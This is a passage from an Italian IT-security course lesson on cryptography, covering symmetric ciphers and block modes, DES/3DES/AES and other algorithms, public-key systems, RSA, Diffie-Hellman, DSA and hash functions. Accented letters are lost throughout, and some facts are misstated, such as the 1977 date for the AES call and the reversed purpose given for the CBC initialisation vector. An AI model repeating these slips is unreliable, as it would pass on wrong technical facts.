utilizzare e sulla chiave segreta. Questultima dovr essere
comunicata in modo sicuro (possibilmente di persona), do-
vr essere mantenuta segreta (possibilmente affidata solo
alla memoria) e dovr essere cambiata spesso per evitarne
la scoperta, vuoi per mancanza di riservatezza nel suo uso
vuoi per via matematico-statistica analizzando un vasto
campione di messaggi.
Se la chiave di cifratura diversa da quella di decifratu-
ra, si parla di crittografia asimmetrica. In tal caso le due
chiavi sono generate contestualmente; una di esse prende
il nome di chiave privata ed tenuta segreta (e custodita al
sicuro) dal proprietario, mentre laltra, detta chiave pub-
blica, pu essere messa a disposizione di chiunque. Le ca-
ratteristiche principali di questa coppia di chiavi sono le
seguenti:
1) per ogni chiave pubblica esiste una sola chiave pri-
vata e viceversa, 2) se si utilizzano chiavi abbastanza gran-
di, non praticamente possibile ricavare la chiave privata
dalla chiave pubblica, 3) per cifrare un documento si pu
usare sia la chiave privata sia la chiave pubblica; per la de-
cifratura si deve usare laltra chiave della coppia.
Se per esempio si cifra un messaggio con la chiave pub-
blica del destinatario, solo questultimo sar in grado di
decifrarlo, utilizzando la corrispondente chiave privata. Se
invece si cifra un messaggio con la propria chiave privata
e si rende disponibile la chiave pubblica, chiunque potr
decifrarlo (a patto di conoscere lalgoritmo utilizzato e di
procurarsi la chiave pubblica). Mentre un messaggio ci-
frato con una chiave pubblica non garantisce lidentit del
mittente e lintegrit del messaggio (chiunque pu usare
una chiave pubblica), un messaggio cifrato con una chia-
ve privata, nel momento in cui viene decifrato con la chia-
ve pubblica, assicura che proviene dal proprietario delle
chiavi e che non stato modificato lungo il percorso. Su
questo principio si basa la firma digitale, di cui parleremo
pi avanti.
Obiettivi della sicurezza attiva
Abbiamo introdotto il concetto di sicurezza attiva, com-
plementare alle misure difensive della sicurezza passiva,
per rendere i dati intrinsecamente sicuri. I servizi di sicu-
rezza attiva, che proteggono dati e messaggi nei sistemi
informatici e di comunicazione, hanno i seguenti obiettivi:
riservatezza (o confidenzialit), privacy, integrit, autenti-
cit e non ripudio.
I servizi di sicurezza che permettono di raggiungere que-
sti obiettivi sono basati su tecniche crittografiche e, come
facile immaginare, fanno uso di architetture standardiz-
zate e ben collaudate, di cui, almeno per il settore non mi-
litare, si conoscono in dettaglio le propriet e il grado di si-
curezza e affidabilit. Laccento sulluso di metodi e tec-
nologie che hanno raccolto ampio consenso per la loro ef-
ficacia ed efficienza e che permettono la facile interopera-
bilit delle applicazioni, evitando i rischi e le complessit
delle soluzioni ad-hoc. Tutti gli obiettivi di sicurezza attiva
citati sono ottenibili tramite tecniche crittografiche stan-
dardizzate.
Crittografia simmetrica
La crittografia simmetrica, detta anche crittografia a
chiave segreta, richiede che i due interlocutori usino lo
stesso algoritmo e la stessa chiave segreta. Ci significa
che si deve trovare un canale sicuro per consegnare al de-
stinatario la chiave o, meglio, dati privi di valore intrinseco
da cui il destinatario ricostruisca la chiave. Visto che ogni
coppia dinterlocutori richiede una chiave segreta, se que-
sta fosse un elemento statico, per esempio una frase con-
cordata a voce tra due persone, il numero di chiavi da con-
servare crescerebbe esponenzialmente con il numero degli
interlocutori. Per esempio, per proteggere la comunicazio-
ne tra 10 persone, sarebbero necessarie 45 chiavi, che cre-
scono a quasi mezzo milione per 1.000 interlocutori. In ge-
nerale, per N persone che scambiano messaggi cifrati con
crittografia simmetrica, occorrono N(N-1)/2 chiavi e cia-
scuno degli N utenti deve conservare al sicuro N-1 chiavi.
Di conseguenza, nella pratica si usano sistemi automatici
per la generazione e lo scambio sicuro delle chiavi.
Un altro aspetto della crittografia simmetrica che con-
ferisce riservatezza al messaggio, ma non assicura lauten-
ticazione o il non ripudio, poich non c unassociazione
univoca e sicura tra la chiave e un individuo. Di conse-
guenza, il mittente apparente di un messaggio cifrato con
chiave simmetrica potrebbe sempre negare di avere spe-
dito il messaggio, attribuendone la responsabilit diretta o
indiretta al destinatario (detentore della stessa chiave).
Daltra parte, gli algoritmi di crittografia simmetrica so-
no molto veloci da eseguire e difficili da violare, se la chia-
ve abbastanza lunga. La crittografia simmetrica lunica
opzione utilizzabile per cifrare grandi quantit di dati, uno-
perazione fuori della portata degli algoritmi asimmetrici.
A un buon algoritmo di crittografia simmetrica sono ri-
chieste alcune propriet fondamentali, in modo che lana-
lisi delle relazioni tra input e output non fornisca indica-
zioni sullalgoritmo o sulla chiave:
1) il testo cifrato devessere funzione di tutti i bit della
chiave e del testo in chiaro, 2) non ci devessere nessuna re-
lazione statistica evidente tra testo in chiaro e testo cifra-
to, 3) modificando un singolo bit nel testo o nella chiave,
ogni bit del testo cifrato soggetto alla stessa probabilit
di variazione, 4) modificando un bit nel testo cifrato, ogni
bit del testo decifrato soggetto alla stessa probabilit di
variazione.
www.pcopen.it 22
5.2.2 Crittografia
simmetrica
5.2.2.1 Conoscere i
principi della
crittografia
simmetrica
La cifratura simmetrica
prevede luso di una
chiave identica per cifrare
e decifrare, perci tale
chiave va scambiata in
modo sicuro
I dati sono decifrabili
solo da chi possiede la
chiave anche se vengono
trasmessi su un canale
insicuro (accessibile ad
estranei)
Lezione 2 IT Administrator - Sicurezza informatica
Esistono due tipi di cifrari simmetrici: a blocchi (block
cipher) e a flusso (stream cipher).
I cifrari a blocchi operano sui dati un blocco alla volta (le
dimensioni tipiche dei blocchi sono di 64 o 128 bit) e ogni
operazione su un blocco unazione elementare. I cifrari a
flusso operano invece un bit o un byte alla volta; una volta
inizializzati con una chiave, producono un flusso di bit e si
prestano alla cifratura di grandi quantit di dati.
I cifrari a blocchi possono operare in diversi modi, che
in molti casi prevedono il concatenamento dei blocchi for-
nendo in input alloperazione corrente i risultati delle ope-
razioni precedenti; il che rende il cifrario meno vulnerabi-
le a certi tipi di attacchi.
I principali tipi di cifrari a blocchi sono due: ECB (Elec-
tronic Code Book), CBC (Cipher Block Chaining).
Alla base troviamo la modalit ECB: ogni blocco di testo
in chiaro viene trasformato in un blocco di testo cifrato. Lo
stesso blocco di testo, con la stessa chiave, produce sem-
pre lo stesso blocco di testo cifrato, il che consente ai ma-
lintenzionati di compilare un codice (code book) di tutti i
possibili testi cifrati corrispondenti a un dato testo in chia-
ro. Se per esempio sappiamo che il blocco di testo contie-
ne un pacchetto IP (Internet Protocol), i primi 20 byte di te-
sto cifrato rappresentano sicuramente lintestazione IP del
pacchetto e possiamo usare tale conoscenza, abbinata a un
code book, per determinare la chiave. Al fine di avere bloc-
chi di input di lunghezza stabilita dal cifrario, pu essere
necessario aggiungere allinput un riempitivo (padding).
Il fatto che ogni blocco indipendente dagli altri e pro-
duce sempre lo stesso blocco cifrato, rende meno sicuro
lalgoritmo e permette a un attaccante di sostituire un bloc-
co con un altro senza che il fatto sia rilevato. Avendo a di-
sposizione una quantit di dati sufficienti e conoscendo la
lingua o altre propriet della comunicazione, si possono
analizzare la frequenza con cui si presentano blocchi ugua-
li e ricavare informazioni per compiere deduzioni sul testo
originale. La modalit ECB quindi adeguata per testi mol-
to brevi (idealmente di un blocco) o nei casi in cui la chia-
ve cambi per ogni blocco. In compenso, un bit errato nella
trasmissione del testo cifrato causa un errore di decifratu-
ra solo nel blocco interessato.
La modalit CBC (Cipher Block Chaining) utilizza il
blocco di testo cifrato precedente e lo combina in XOR (OR
esclusivo, unoperazione tra due bit che produce come ri-
sultato 1 se i bit sono diversi o 0 se sono uguali) con il bloc-
co successivo di testo in chiaro prima della cifratura. Il pri-
mo blocco combinato in XOR con un Vettore di Inizializ-
zazione (IV, Initialization Vector), scelto con forti propriet
di pseudocasualit in modo che testi diversi producano lo
stesso testo cifrato.
La decifratura funziona nel modo opposto: ogni blocco
decifrato e combinato in XOR con il blocco precedente. Il
primo blocco decifrato e combinato in XOR con il vetto-
re dinizializzazione.
Poich la cifratura dipende dai blocchi precedenti, un
bit errato nella trasmissione del testo cifrato causa un er-
rore di decifratura nel blocco interessato e in tutti quelli
successivi. La modalit CBC assicura che le ripetizioni pre-
senti nel testo in chiaro non si riflettano in ripetizioni nel te-
sto cifrato.
Altri modi utilizzati per i cifrari a blocchi sono il CFB
(Cypher Feedback Mode), dove il blocco precedente di te-
sto cifrato cifrato e combinato in XOR con il blocco cor-
rente di testo in chiaro (il primo blocco combinato in XOR
con il vettore dinizializzazione) e lOFB (Output Feedback
Mode), che mantiene uno stato di cifratura, ripetutamente
cifrato e combinato con i blocchi di testo in chiaro per pro-
durre i blocchi cifrati (lo stato iniziale costituito dal vet-
tore dinizializzazione).
Un cifrario a flusso (stream cipher) un tipo di cifrario
simmetrico che pu essere progettato in modo da essere
eccezionalmente veloce, molto pi rapido di qualunque ci-
frario a blocchi. Mentre i cifrari a blocchi operano su bloc-
chi di dati relativamente grandi (come 64 o 128 bit), i cifra-
ri a flusso operano su unit pi piccole, solitamente singo-
li bit. Un cifrario a blocchi produce lo stesso testo cifrato a
parit di testo in chiaro, di chiave e di vettore dinizializza-
zione. Con un cifrario a flusso, la trasformazione delle pic-
cole unit di testo in chiaro varia a seconda del momento
in cui esse compaiono durante il processo di cifratura.
Un cifrario a flusso genera il keystream, ossia una se-
quenza di bit usata come chiave, traducibile come flusso
chiave, e la cifratura avviene combinando il keystream con
il testo in chiaro in unoperazione di OR esclusivo (XOR),
bit per bit, equivalente a una somma con eliminazione del-
leventuale riporto. La generazione del keystream pu es-
sere indipendente dal testo in chiaro e dal testo cifrato, pro-
ducendo il cosiddetto cifrario sincrono, oppure pu di-
pendere dai dati e dalla loro cifratura, nel qual caso il ci-
frario a flusso viene detto auto-sincronizzante. La maggior
parte dei cifrari a flusso sono del tipo sincrono.
Principali algoritmi di crittografia simmetrica
Esistono diversi algoritmi di crittografia simmetrica,
ognuno con le proprie caratteristiche di velocit, con spe-
cifici requisiti di risorse hardware o software e con un pro-
prio livello di sicurezza (misurato dal tempo necessario per
il cracking, cio la scoperta della chiave segreta). Per
esempio, alcuni sono pi sicuri, ma richiedono unimple-
mentazione hardware, altri sono meno sicuri, ma presen-
tano bassi requisiti di memoria e si prestano per luso con
piattaforme limitate come le smartcard.
Alcuni esempi di algoritmi di crittografia simmetrica tra
i pi conosciuti sono: Data Encryption Standard (DES), Tri-
ple-DES (3DES), Blowfish, International Data Encryption Al-
gorithm (IDEA), Advanced Encryption Standard (AES), Ri-
vest Cipher #4 e #5 (RC4 e RC5) e Skipjack.
DES
Il National Institute of Standards and Technology (NIST),
ex National Bureau of Standards, una divisione del Di-
partimento del Commercio statunitense, strettamente le-
gato alla National Security Agency (NSA) che a sua volta ap-
partiene al mondo militare. Allinizio degli anni 70, era al-
la ricerca di un algoritmo di crittografia da adottare come
standard. Tra i produttori invitati a proporre soluzioni, IBM
present il proprio algoritmo Lucifer a 128 bit, utilizzato
per le transazioni finanziarie. Lucifer fu accettato, ma la
NSA lo modific riducendone la chiave a 64 bit (di cui 56 bit
www.pcopen.it 23
Crittografia simmetrica a blocchi in modalit CBC
5.2.2.2 Conoscere i
principali standard di
crittografia
simmetrica e le loro
principali differenze
(DES, 3DES, AES,
eccetera)
Crittografia simmetrica a
blocchi in modalit CBC
(Cipher Block Chaining).
Cifrario a flusso con
generazione di keystream
(flusso chiave) e cifratura
continua del testo in
chiaro.
www.pcopen.it 24
ITAdministrator - Sicurezza informatica Lezione 2
effettivi e 8 usati per il controllo di parit), rinominandolo
Data Encryption Standard. Nel 1977 DES divenne lo stan-
dard nazionale di crittografia per le informazioni non clas-
sificate (ossia non confidenziali). Nel corso degli anni, il NI-
ST ha ricertificato periodicamente DES attraverso i docu-
menti FIPS (Federal Information Processing Standards Pu-
blication) 46-1, 46-2 e 46-3, fino alla fase di transizione tra
DES e il suo successore AES. DES lalgoritmo di cifratura
pi conosciuto ed stato il primo di cui sono stati forniti
tutti i dettagli di implementazione. E stato incluso nella
maggioranza dei prodotti commerciali dotati di funzionalit
crittografiche ed stato usato dagli enti governativi. Per ol-
tre un decennio, DES stato considerato uno degli algorit-
mi pi efficaci ed efficienti, finch la NSA smise di suppor-
tarlo nel 1988, prevedendo la sua vulnerabilit a fronte del-
la crescita della potenza di calcolo dei computer. Nel 1998
DES fu violato in un attacco di tipo forza bruta (test di tut-
te le possibili chiavi) durato tre giorni, con un computer do-
tato di 1.536 processori. Tale fatto acceler il processo di
sostituzione di DES con 3DES (tripla applicazione di DES) e
con AES. Dal 1999, DES poteva essere usato solo sui siste-
mi legacy, cio hardware o software antiquato ancora in
uso, e nella pratica corrente doveva essere sostituito da
3DES e in seguito da AES.
DES un algoritmo di crittografia simmetrica a blocchi
di 64 bit secondo il modello di Horst Feistel (il crittologo di
IBM che lha sviluppato), che prevede la divisione del bloc-
co in due met e una serie di sostituzioni e permutazioni in
16 passaggi con scambi tra i due semiblocchi.
3DES
Saltato il doppio DES (chiave di 112 bit) perch si dimo-
str che avesse la stessa efficacia del DES, si pass alla tri-
pla applicazione del DES (112 o 168 bit per le chiavi) pro-
lungando il ciclo di vita di questo particolare sistema di ci-
fratura. 3DES 256 volte pi robusto del DES, ma richiede
fino al triplo di tempo per la cifratura e la decifratura. Esi-
stono diverse varianti di 3DES:
- DES-EE3: utilizza tre diverse chiavi di cifratura
- DES-EDE3: usa tre chiavi per cifrare, decifrare e cifrare di
nuovo i dati
- DES-EEE2 e DES-EDE2: come sopra, salvo che la prima e la
terza operazione utilizzano la stessa chiave.
Lalgoritmo alla base di 3DES lo stesso di DES, lalgo-
ritmo pi studiato e collaudato di tutti i tempi. 3DES mol-
to robusto e affidabile, ma stato progettato circa 30 anni
fa ed stato concepito per limplementazione in hardware.
A maggior ragione, 3DES poco efficiente in software e non
considerato una soluzione valida a lunga scadenza, anche
se saranno necessari parecchi anni per la sua definitiva so-
stituzione.
AES
Dopo che il DES era stato usato per oltre 20 anni e si av-
vicinava il momento del suo cracking, il NIST decise che
era tempo dintrodurre un nuovo standard di crittografia.
La decisione fu annunciata nel 1977, assieme alla richiesta
di candidature. Il nuovo standard avrebbe dovuto essere
un algoritmo simmetrico a blocchi capace di supportare
chiavi di 128, 192 e 256 bit. I finalisti furono MARS di IBM
(sviluppato dagli autori di Lucifer), RC6 (di RSA Laborato-
ries), Serpent (di Anderson, Biham e Knudsen), Twofish (di
Counterpane Systems) e Rijndael (dei belgi Joan Daemon e
Vincent Rijmen). Rijndael (cos chiamato dai nomi degli au-
tori) fu stato scelto dal NIST per sostituire il DES. E stato
pubblicato dal NIST nel 2001 col nome di AES ed lalgo-
ritmo richiesto per proteggere le informazioni riservate, ma
non classificate, del governo statunitense. AES utilizza
blocchi di 128 bit, rappresentati sotto forma di matrice;
ogni blocco viene cifrato in 10, 12 o 14 passaggi (a seconda
della lunghezza della chiave) che comprendono operazio-
ni di sostituzione dei byte, permutazione delle righe della
matrice, sostituzione delle colonne, combinazione XOR dei
byte con una matrice (chiave espansa) ottenuta espan-
dendo la chiave dai 128, 192 o 256 bit originari a 176, 208 o
240 byte.
Lattento scrutinio dellalgoritmo Rijndael non ha mo-
strato punti deboli, tanto che nel 2003 il governo USA ha au-
torizzato luso di AES per la cifratura di documenti classi-
ficati fino al livello di secret con chiave di 128 bit e di top se-
cret con chiave di 192 o 256 bit. E la prima volta che il pub-
blico ha accesso ai dettagli di un algoritmo crittografico ap-
provato per informazioni di massima segretezza. Al 2004,
sono noti attacchi su 7, 8 e 9 passaggi rispettivamente con
chiavi di 128, 192 e 256 bit; qualche crittografo ha espres-
so dubbi sulla tenuta futura del margine di sicurezza, ma,
a meno di sorprese, previsto che AES risulti sicuro per de-
cenni a venire. AES utilizzabile senza il pagamento di
royalty.
Blowfish
Blowfish un cifrario simmetrico a blocchi di 64 bit con
chiavi di lunghezza fino a 448 bit. Durante la cifratura i da-
ti sono sottoposti a 16 fasi di funzioni crittografiche. Blow-
fish un algoritmo molto robusto ed stato scritto da Bru-
ce Schneier, uno degli autori pi citati nel campo della crit-
tografia.
IDEA
IDEA un cifrario simmetrico a blocchi di 64 bit, suddi-
visi in 16 sotto-blocchi sottoposti a otto serie di manipola-
zioni matematiche. IDEA presenta similitudini con DES, ma
molto pi robusto. La chiave lunga 128 bit. IDEA bre-
vettato ed concesso in licenza dalla societ svizzera Me-
diacrypt.
RC5
RC5 un cifrario simmetrico a blocchi dotato di parec-
chi parametri per assegnare le dimensioni del blocco, la
lunghezza della chiave e il numero di passaggi di trasfor-
mazione da eseguire. E stato creato da Ron Rivest (la R di
RSA). Di solito si utilizzano blocchi di 32, 64 o 128 bit e la
chiave pu raggiungere i 2.048 bit. RC5 stato brevettato
da RSA Security nel 1997. Il basso consumo di memoria lo
rendono adatto per smartcard e altri dispositivi simili.
Skipjack
Skipjack un cifrario a blocchi sviluppato dalla NSA nel
1987, messo in servizio nel 1993 e declassificato nel 1998.
Opera su blocchi di 64 bit con una chiave di 80 bit e pu
Opzioni di crittografia in
Microsoft Outlook
Lezione 2 IT Administrator - Sicurezza informatica
sfruttare le principali modalit di crittografia a blocchi: ECB,
CBC, CFB e OFB. E stato fornito in chipset preconfezionati
e nella cryptocard Fortezza, una PC Card con processore di
cifratura e memoria per i dati da cui costruire le chiavi.
Skipjack un cifrario molto robusto, ma la lunghezza limi-
tata della chiave lo rende inferiore allAES. Skipjack utiliz-
zato soprattutto da militari e agenzie governative USA.
RC4
RC4 il pi noto dei cifrari a flusso. E stato creato nel
1987 da Ron Rivest per RSA Security. Utilizza un keystream
di dimensioni variabili (ma solitamente di 128 bit) e opera
su un byte alla volta. In origine il cifrario era segreto, ma fu
fatto filtrare su Internet. Lalgoritmo molto robusto se uti-
lizzato con chiavi di lunghezza adeguata (tipicamente 128
bit) casuali e non riutilizzate. Nel 2000 il governo USA ha ri-
mosso la limitazione a 40 bit per lesportazione dei prodotti
con RC4. RC4 10 volte pi veloce di DES. Due esempi di
impiego sono nel protocollo SSL (Secure Sockets Layer) uti-
lizzato dai browser Internet per lo scambio sicuro di infor-
mazioni (per esempio nelle transazioni commerciali) e nel
protocollo WEP (Wired Equivalent Privacy) che parte del-
lo standard 802.11 per le LAN wireless.
Crittografia nel PC
Le immagini seguenti mostrano alcuni degli algoritmi di
crittografia supportati da Microsoft Outlook e dal browser
Opera (su piattaforma Windows) e dal browser Konqueror
(su piattaforma SUSE Linux).
Crittografia asimmetrica
Per la maggior parte della storia della crittografia,
dallantichit nota fino a qualche decennio fa, mitten-
te e destinatario dei documenti segreti utilizzavano,
per la cifratura e la decifratura, la stessa chiave, con-
cordata in anticipo usando un mezzo di trasmissione
non crittografico e custodita al sicuro.
Si gi accennato alle difficolt di gestione delle
chiavi simmetriche e alla proliferazione di chiavi da
custodire e distribuire segretamente. Whitfield Diffie e
Martin Hellmann, i primi a introdurre pubblicamente
i concetti della crittografia a chiave pubblica nel 1976,
si posero lobiettivo di risolvere due dei principali pro-
blemi della crittografia simmetrica:
1) la necessit di condividere una chiave, preceden-
temente distribuita agli interlocutori, o, in alternativa,
allestire un centro per la distribuzione delle chiavi
(key distribution center) e
2) lesigenza di associare ai messaggi e documenti ci-
frati una firma digitale equivalente a una firma au-
tografa su carta. Diffie ed Hellmann a Stanford e Merk-
ley a Berkeley unirono le rispettive competenze sulla
crittografia a chiave pubblica e sulla distribuzione del-
le chiavi pubbliche rivoluzionando il mondo della ri-
cerca crittografica, fino ad allora chiuso nelle stanze
degli enti militari.
Solo in seguito, sono venute alla luce le
vere e segrete origini della crittografia a
chiave pubblica: a met degli anni 60
presso la National Security Agency -
NSA (secondo affermazioni del diretto-
re dellNSA di quel tempo, indiretta-
mente suffragate dalluso nellNSA di te-
lefoni basati su crittografia a chiave
pubblica) e nel 1973 presso il britannico
Government Communications Headquarters (GCHQ),
i cui documenti sono stati rivelati nel 1997 dal Com-
munications-Electronics Security Group (CESG), il
braccio del GCHQ per la sicurezza delle informazioni.
I documenti di Ellis e Cocks (www.cesg.gov.uk/), in as-
senza di documentazione dellNSA, sono quindi i pi
antichi riguardo la nascita della crittografia asimme-
trica. Dopo Ellis e Cocks e Diffie, Hellmann e Merkley,
il terzo gruppo chiave per lo sviluppo della crittogra-
fia a chiave pubblica stato Rivest, Shamir e Adleman,
autori dellalgoritmo RSA.
La loro ricerca quasi contemporanea ai lavori di Dif-
fie, Hellmann e Merkley (ma basata su un diverso prin-
cipio matematico) e costituisce un ulteriore passo in
avanti, perch include limplementazione della firma
digitale. Oggi RSA la sigla pi spesso associata alla
nozione di crittografia a chiave pubblica, ma in molte
applicazioni sono utilizzate le tecnologie derivate dal-
lo scambio chiavi di Diffie-Hellmann.
La crittografia asimmetrica, ossia a chiave pubbli-
ca, fa uso di due chiavi diverse per cifrare e decifrare
i messaggi o documenti. Con un sistema di crittogra-
fia a chiave pubblica, gli utenti possono comunicare in
modo sicuro attraverso un canale insicuro senza do-
ver concordare in anticipo una chiave. Un algoritmo
asimmetrico prevede che ogni utente abbia una cop-
pia di chiavi: la chiave pubblica e la chiave privata, in
relazione tra loro, ma tali che non si possa ricavare lu-
na dallaltra. La chiave privata devessere custodita al
sicuro dal proprietario, mentre la chiave pubblica pu
essere distribuita senza restrizioni, a patto che sia au-
tenticata. La propriet fondamentale di un algoritmo
asimmetrico che si pu cifrare un messaggio con
una qualsiasi delle due chiavi, dopo di che si deve uti-
lizzare laltra chiave per decifrarlo.
Se Alessandro vuole spedire a Bruno un documen-
to riservato, deve procurarsi una copia autenticata
della chiave pubblica di Bruno (in pratica un certifi-
cato digitale di Bruno) e con essa cifrare il messaggio.
Bruno utilizza la propria chiave privata per decifrare
www.pcopen.it 25
Opzioni di crittografia
in Opera
Opzioni di crittografia
in Konqueror
Nella crittografia
asimmetrica, detta anche
crittografia a chiave
pubblica, esiste sempre
una coppia di chiavi, tra
loro inseparabili: una
pubblica e una privata
5.2.3. Crittografia
asimmetrica
5.2.3.1 Conoscere i
principi di crittografia
asimmetrica
ITAdministrator - Sicurezza informatica Lezione 2
il messaggio e ricostruire il documento originale. Il
messaggio rimane riservato, ma non si pu essere cer-
ti della sua autenticit, ossia che sia stato spedito da
Alessandro.
Se Alessandro vuole inviare a Bruno un documento
in modo da garantirne lautenticit e lintegrit, lo ci-
fra con la propria chiave privata, dopo di che Bruno
(ma anche chiunque altro) lo decifra con la chiave
pubblica di Alessandro. In questo caso manca la ri-
servatezza.
Per assicurare riservatezza, autenticit e integrit,
Alessandro potrebbe utilizzare una doppia cifratura,
con la propria chiave privata e con la chiave pubblica
di Bruno. Questi tre scenari sono puramente didattici;
in pratica, vedremo che esistono metodi pi efficienti
e che la crittografia asimmetrica non usata per ci-
frare lintero contenuto dei messaggi.
Torniamo al primo esempio, in cui Alessandro invia
un messaggio cifrato con la chiave pubblica di Bruno.
Un modo per autenticare il messaggio, dimostrando la
propria identit, quello di allegare un certificato di-
gitale, ovvero un oggetto che associa la chiave pub-
blica al suo proprietario, eliminando il sospetto che il
mittente sia un impostore. Un certificato digitale ri-
lasciato da unautorit di certificazione (CA, Certifi-
cation Authority), uno degli elementi che compongo-
no uninfrastruttura a chiave pubblica (PKI, Public Key
Infrastructure, un sistema per la creazione e gestione
delle chiavi pubbliche). Il certificato garantisce delli-
dentit del possessore della chiave pubblica: la cop-
pia di chiavi viene tipicamente generata sul computer
dellutente e presso la CA viene conservata la sola
chiave pubblica e il certificato che la CA ha generato
sulla base di questa.
Il certificato digitale contiene varie informazioni pi
la chiave pubblica del suo proprietario, ed firmato
dallautorit che lo emette per attestare la validit del
certificato e del certificatore.
Unalternativa alluso dei certificati emessi da una
CA lutilizzo di PGP (Pretty Good Privacy), un meto-
do ampiamente diffuso per cifrare messaggi e docu-
menti tramite una coppia di chiavi che chiunque pu
generare, senza certificazione o con un certificato fir-
mato, non da una Certification Authority, bens da al-
tri utenti fidati che formano una rete di fiducia.
Il metodo dei certificati si basa su una struttura or-
ganizzata e comporta oneri in base alle funzionalit e
modalit dimpiego.
Thawte lunica CA che fornisce certificati gratuiti
di durata annuale per uso personale, da usare per fir-
mare e cifrare la posta elettronica. Luso di PGP e del-
le sue varianti (come vedremo in seguito) invece pi
libero e informale e ha forme dimplementazione gra-
tuite.
I cifrari asimmetrici hanno prestazioni bassissime,
inferiori a quelle dei cifrari simmetrici per vari ordini
di grandezza (RSA mille volte pi lento di DES). Per-
ci, di solito, non sono utilizzati per cifrare interi mes-
saggi e documenti, bens per cifrare una chiave di ses-
sione, che a sua volta viene utilizzata per cifrare il
messaggio con un cifrario simmetrico. Una chiave di
sessione una chiave temporanea usa e getta, crea-
ta al momento e distrutta alla fine della sessione, per
esempio dopo linvio di un messaggio e-mail cifrato o
alla fine di una transazione Internet con SSL (Secure
Sockets Layer il protocollo standard per transazioni
sicure su Internet).
In questo scenario ibrido, che vede luso contem-
poraneo di cifrari simmetrici e asimmetrici, sinne-
sta un altro dei mattoni fondamentali delle applica-
zioni crittografiche, cio le funzioni di hash. Una fun-
zione di hash riceve in input un messaggio o un bloc-
co di dati di lunghezza variabile e fornisce come ri-
sultato un valore di lunghezza fissa chiamato codice
di hash (hash code o semplicemente hash) o anche
message digest o hash digest.
Una tale funzione progettata in modo che a un da-
to input corrisponda sempre lo stesso output e che
sia minima la probabilit che input diversi generino lo
stesso output (collisione). Un hash rappresenta una
impronta informatica (fingerprint) del messaggio o
documento su cui calcolato e serve a verificare lin-
tegrit dei dati: qualunque alterazione ai dati causa
www.pcopen.it 26
Impiego della chiave
pubblica del destinatario
per cifrare un messaggio
che solo il destinatario
potr decifrare con la
propria chiave segreta.
Chiunque pu accedere
alla chiave pubblica e
perci la fonte del
messaggio non
autenticabile
Impiego della propria
chiave privata
per autenticare e cifrare
un messaggio che verr
poi decifrato dal
destinatario con la nostra
chiave pubblica. In questo
caso la fonte del
messaggio autenticata,
ma la segretezza
compromessa visto che
chiunque pu accedere
alla nostra chiave
pubblica
Usiamo la chiave
pubblica del destinatario
per cifrare un messaggio
che solo lui potr
decifrare con la sua
chiave privata, ma
aggiungiamo un
certificato che autentica
la nostra identit
Lezione 2 IT Administrator - Sicurezza informatica
5.2.4. Funzioni di
hash e digest
5.2.4.1 Conoscere
i principi di
funzionamento delle
funzioni di has e
digest
Sottoponendo alla
funzione di hash un
documento di lunghezza
qualsiasi si ottiene un
digest o hash di
lunghezza fissa che ne
identifica univocamente il
contenuto (firma
informatica) senza
permettere di risalire al
contenuto
unalterazione dellhash. Una funzione di hash pu es-
sere vista come una funzione di compressione o di ci-
fratura a senso unico, perch non c modo di risali-
re dallhash ai dati di partenza.
Standard di crittografia asimmetrica
Ci sono parecchi algoritmi di crittografia asimmetrica,
ma quelli pi noti, sicuri e utilizzati sono il citato RSA
e quelli derivati dalla ricerca di Diffie e Hellmann, tra
cui ElGamal e DSA.
RSA, dellomonima azienda, il cifrario asimmetrico
pi utilizzato. Pu essere usato sia per la cifratura (per
ottenere la riservatezza), sia per la firma digitale (per
ottenere lautenticazione), sia per lo scambio delle
chiavi (come nellesempio di cui sopra). Secondo RSA,
una chiave asimmetrica di 1.024 bit equivale, in robu-
stezza, a una chiave simmetrica di 80 bit (una lun-
ghezza oggi relativamente limitata), mentre chiavi di
2.048 e 3.072 bit equivalgono a chiavi simmetriche di
112 e 128 bit. RSA raccomanda di utilizzare almeno
1.024 bit fino al 2.010, mentre 2.048 bit dovrebbero es-
sere adeguati fino al 2.030, per poi passare a 3.072 bit.
Secondo il NIST (National Institute of Standards and
Technology), una chiave RSA di 15.360 bit equivale a
una chiave simmetrica di 256 bit. In pratica, per chiavi
importanti che si prevede di usare per molti anni, con-
viene passare a 2.048 bit, come gi sinizia a vedere per
le chiavi di firma dei certificati digitali.
Gli algoritmi asimmetrici si basano su calcoli mate-
matici facili da eseguire in una direzione, ma molto dif-
ficili, o pressoch impossibili da eseguire nella dire-
zione inversa. RSA si basa sulla difficolt di scompor-
re in fattori il prodotto di due numeri primi di grandi di-
mensioni. La soluzione di Diffie ed Hellmann si basa in-
vece sul cosiddetto problema del logaritmo discreto,
ovvero della difficolt di risalire alla x nellequazione
gx = y mod p. La notazione y mod p (y modulo p) indi-
ca il resto della divisione y/p. Il metodo Diffie-Hellmann
utilizzato per lo scambio delle chiavi, dove i due in-
terlocutori si scambiano le chiavi pubbliche e, con le
proprie chiavi private, costruiscono una chiave segre-
ta condivisa. Lalgoritmo ElGamal, dal nome del suo in-
ventore, sfrutta anchesso il problema del logaritmo di-
screto, dove x la chiave privata e p, g e y formano la
chiave pubblica. ElGamal pu essere usato sia per la ci-
fratura sia per lautenticazione con firma digitale. E un
algoritmo sicuro e ha la caratteristica di generare un
testo cifrato lungo il doppio del testo in chiaro.
Una variante dellalgoritmo ElGamal il DSA, o Digi-
tal Signature Algorithm, sviluppato dalla NSA e pub-
blicato dal NIST (National Institute of Standards and
Technology) e diventato uno standard del governo
USA. DSA ha una chiave pubblica e una privata, ma vie-
ne usato solo per la firma dei documenti, non per la ci-
fratura. DSA richiede luso dellalgoritmo di hash SHA
(Secure Hash Algorithm), uno standard FIPS (Federal
Information Processing Standard) statunitense. SHA
genera un digest di 160 bit che viene passato a DSA o
a un altro degli algoritmi di firma digitale ammessi dal
governo USA (RSA ed ECDSA, Elliptic Curve Digital Si-
gnature Algorithm). Lo standard federale americano
per la firma elettronica si chiama DSS (Digital Signatu-
re Standard), di cui DSA lalgoritmo di firma e SHA
lalgoritmo di hash.
A parit di lunghezza di chiave, RSA e DSA hanno si-
curezza comparabile.
Se il problema del logaritmo discreto e la fattorizza-
zione del prodotto di numeri primi sono i due metodi
matematici alla base dei cifrari asimmetrici pi diffusi,
la recente crittografia a curve ellittiche (ECC) si rivela
promettente in termini di efficienza, con chiavi molto
pi corte. Una chiave ECC di 163 bit equivale a una
chiave RSA di 1024 bit. Le curve ellittiche sono una
branca della teoria dei numeri e sono definite da certe
equazioni cubiche (di terzo grado); le loro propriet
permettono di creare algoritmi crittografici asimme-
trici, vista lestrema difficolt di eseguire i calcoli a ri-
troso per ricostruire la chiave privata dalla chiave pub-
